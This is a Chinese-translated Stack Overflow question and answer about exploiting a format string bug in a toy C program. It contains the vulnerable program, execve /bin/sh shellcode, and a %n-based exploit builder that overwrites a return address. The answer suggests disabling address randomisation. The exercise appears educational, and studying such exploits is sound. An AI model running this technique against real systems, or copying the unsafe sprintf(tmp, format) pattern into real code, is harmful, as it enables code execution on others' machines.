linux - 格式字符串错误 - 利用

标签 linux debugging exploit shellcode

我正在尝试利用我的格式字符串错误,该错误位于此程序中:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void foo(char* tmp, char* format) {
  /* write into tmp a string formated as the format argument specifies */
  sprintf(tmp, format);

  /* just print the tmp buffer */
  printf("%s", tmp);
}

int main(int argc, char** argv) {
  char tmp[512];
  char format[512];

  while(1) {
    /* fill memory with constant byte */
    memset(format, '\0', 512);

    /* read at most 512 bytes into format */
    read(0, format, 512);

    /* compare two strings */
    if (!strncmp(format, "exit", 4))
      break;

    foo(tmp, format);
  }
  return 0;
}

堆栈看起来像这样:

Low Memory Addresses

   before printf             before sprintf
     function                   function

                         ----------------------- 
                         |     0xbffff258      | -
-----------------------  ----------------------- |--- arguments to printf/sprintf
|     0xbffff258      |  |     0xbffff058      | -
-----------------------  ----------------------- 
|     0xbffff458      |  (saved EBP)
-----------------------
|     0x08048528      |  (return address to main - EIP)
-----------------------
|     0xbffff258      |  (pointer to tmp)
----------------------- 
|     0xbffff058      |  (pointer to format)
-----------------------
|     0x00000004      |  (constant 4)
-----------------------
|      format[0]      |  (starts at 0xbffff058)
-----------------------
|     format[511]     |
-----------------------
|       tmp[0]        |  (starts at 0xbffff258)
-----------------------
|      tmp[511]       |
-----------------------
High Memory Addresses

所以基本思想是编写一个 %x, %n, ... 的序列并将其提供给程序。我用来构建输入字符串的程序是:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>


char shellcode[] =
  "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";


main()
{
  char b0[255];
  char b1[255];
  char b2[255];
  char b3[255];
  char b4[1024];
  char buffer[512];

  memset(b0, 0, 255);
  memset(b1, 0, 255);
  memset(b2, 0, 255);
  memset(b3, 0, 255);
  memset(b4, 'A', 1024);

  memset(b0, 'A', 0x68 - 0x10 - 0x28); // 0x10 because of the four addresses; 0x28 because of the shellcode
  memset(b1, 'A', 0xf0 - 0x68);
  memset(b2, 'A', 0xff - 0xf0);
  memset(b3, 'A', 0x1bf - 0xff);

  printf("\x48\xf0\xff\xbf" 
         "\x49\xf0\xff\xbf" 
         "\x4a\xf0\xff\xbf" 
         "\x4b\xf0\xff\xbf" 
         "%s" 
         "%s" 
         "%%6$n" 
         "%s" 
         "%%7$n"
         "%s" 
         "%%8$n" 
         "%s"
         "%%9$n" 
         ,shellcode, b0, b1, b2, b3);
}

我们可以看到我用以下十六进制覆盖了地址:0xbffff048、0xbffff049、0xbffff04a、0xbffff04b:0x68、0xf0、0xff、0x1bf,这给了我们地址:0xbffff068(这是shellcode的地址)在内存中)。所以我们的想法是用这个地址覆盖 0x08048528 (EIP),这样当函数返回时它就会跳转到该地址。

我已经完成了所有这些,并使用调试器检查了这一切都很好。但我仍然在/lib/libc.so.6 的 vfprintf () 中遇到段错误。

有人知道发生了什么事吗?我搞砸了什么吗?

谢谢

最佳答案

完全重写

  1. 好的,所以你的堆栈是可执行的。很好。
  2. 您应该尝试禁用堆栈地址随机化。
  3. 这似乎是 x86,但应该将此类信息添加到问题中。

关于linux - 格式字符串错误 - 利用,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/5052648/

相关文章:

linux - 每行搜索一次匹配项

linux - 如何仅删除文件所有行中的前两个前导空格

linux - WebStorm 无法启动,错误为 'idea.system.path'

iphone - ipad 应用程序异常退出并显示信号 11 : Segmentation fault: 11

c++ - Qt 应用程序无法加载自定义插件调试库

linux - 什么是“无法在00000000313337000处理内核分页请求”

CLion 中 C 文件的自定义文件模板

c - 希尔排序函数未对数组进行完全排序

sql - 参数化语句能阻止所有SQL注入(inject)吗?

c - 漏洞利用在 gdb 中有效,但在命令行中无效